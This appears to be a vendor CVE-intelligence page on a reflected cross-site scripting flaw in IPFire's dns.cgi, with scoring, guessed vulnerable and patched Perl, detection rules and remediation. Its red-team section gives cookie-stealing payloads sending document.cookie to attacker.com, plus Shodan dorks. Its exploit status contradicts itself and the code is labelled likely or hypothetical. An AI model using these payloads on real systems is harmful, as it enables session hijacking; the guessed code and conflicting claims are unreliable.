☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-50976

CVE-2025-50976 Cross-Site Scripting in Ipfire
📅 PUBLISHED: 2025-08-26 00:00 UTC 🔄 UPDATED: 2026-08-21 19:30 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: IPFire 2.29 (and possibly earlier)
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-50976 is a reflected cross-site scripting (XSS) vulnerability discovered in the IPFire 2.29 DNS management interface (dns.cgi). The application fails to properly sanitize user-supplied input in the NAMESERVER, REMARK, and TLS_HOSTNAME query parameters, allowing an attacker to inject arbitrary JavaScript code. This vulnerability can be exploited by sending a crafted link to a logged-in IPFire administrator, leading to session hijacking, credential theft, or unauthorized configuration changes. The CVSS score is 0.0 due to incomplete scoring data, but based on the vector, the severity is Medium (5.4). No official patch is available, and no public exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a web application vulnerability in the IPFire firewall's CGI interface.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to significant impact within the IPFire web interface.

Deep Dive & Mechanics

The vulnerability resides in the dns.cgi script, which handles DNS configuration. The script takes user input from the NAMESERVER, REMARK, and TLS_HOSTNAME query parameters and reflects it directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:

https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>alert('XSS')</script>

When a logged-in administrator clicks this link, the browser executes the injected script in the context of the IPFire web interface. This allows the attacker to:

  • Steal session cookies.
  • Perform actions on behalf of the administrator (e.g., modify firewall rules).
  • Redirect to malicious sites.
  • Capture keystrokes or form data.

The vulnerability is reflected, meaning the payload is not stored on the server but is immediately executed from the URL.

Vulnerable vs. Patched Code

Vulnerable Code (IPFire 2.29): The dns.cgi script likely uses a function like param() to retrieve query parameters and directly prints them without sanitization.

my $nameserver = param('NAMESERVER');
print "<input type='text' name='nameserver' value='$nameserver'>";

Patched Code (Hypothetical): The patched version would use HTML entity encoding to neutralize the input.

use CGI qw(escapeHTML);
my $nameserver = param('NAMESERVER');
my $safe_nameserver = escapeHTML($nameserver);
print "<input type='text' name='nameserver' value='$safe_nameserver'>";

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target IPFire instance (version 2.29) with the web interface accessible.
  • A victim logged into the IPFire web interface.

Exploitation Steps:

  1. Craft a malicious URL:
    https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  2. Send the link to the victim via email, social engineering, or other means.
  3. When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.
  4. The attacker can then use the stolen cookie to hijack the session.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>";
</script>
</body>
</html>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious query parameters containing <script> tags or JavaScript event handlers.
  • Use a Web Application Firewall (WAF) to block requests with malicious patterns.

Mitigation:

  • Apply input validation and output encoding to all user-supplied data in dns.cgi.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Educate administrators about phishing attacks targeting the IPFire interface.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /cgi-bin/dns.cgi with parameters containing <script>, onerror, onload, or similar XSS payloads.
    • Outbound connections from the IPFire server to unknown IP addresses (e.g., attacker's server) on common ports (80, 443).
  • Host IOCs:

    • Unusual entries in the IPFire web server logs (e.g., /var/log/httpd/access_log) with long query strings.
    • Modified DNS configuration files (e.g., /etc/resolv.conf) if the attacker leveraged the XSS to change settings.
  • File IOCs:

    • Temporary files in /tmp/ created by the CGI script with unexpected content.

Detection Engineering

YARA Rule

rule CVE_2025_50976_XSS_IPFire {
    meta:
        description = "Detects XSS attempts against IPFire dns.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50976"
    strings:
        $xss_pattern1 = /NAMESERVER=.*<script/i
        $xss_pattern2 = /REMARK=.*<script/i
        $xss_pattern3 = /TLS_HOSTNAME=.*<script/i
        $xss_pattern4 = /NAMESERVER=.*onerror/i
        $xss_pattern5 = /REMARK=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: IPFire dns.cgi Reflected XSS Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against IPFire dns.cgi
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50976
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'NAMESERVER=<script'
            - 'REMARK=<script'
            - 'TLS_HOSTNAME=<script'
            - 'NAMESERVER=onerror'
            - 'REMARK=onload'
    condition: selection
falsepositives:
    - Legitimate use of script tags in DNS names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"NAMESERVER="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"REMARK="; http_uri; content:"<script"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"TLS_HOSTNAME="; http_uri; content:"<script"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Manual Code Fix: Edit /srv/web/ipfire/cgi-bin/dns.cgi and add HTML entity encoding for all user-supplied parameters. For example, in Perl:
    use CGI qw(escapeHTML);
    my $nameserver = escapeHTML(param('NAMESERVER'));
    
  2. WAF Rule: Deploy a WAF rule to block requests containing <script> in the NAMESERVER, REMARK, or TLS_HOSTNAME parameters.
  3. CSP Header: Add a Content Security Policy header to the IPFire web server configuration:
    Content-Security-Policy: default-src 'self'; script-src 'self';
    

Long-Term Actions:

  • Monitor the IPFire project for an official patch.
  • Implement a secure coding standard that includes input validation and output encoding.
  • Conduct regular security audits of the web interface.

Workaround:

  • Restrict access to the IPFire web interface to trusted IP addresses only.
  • Use a reverse proxy with WAF capabilities in front of the IPFire server.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:IPFire
http.title:"IPFire"
http.html:"IPFire - Web Interface"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-50976/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.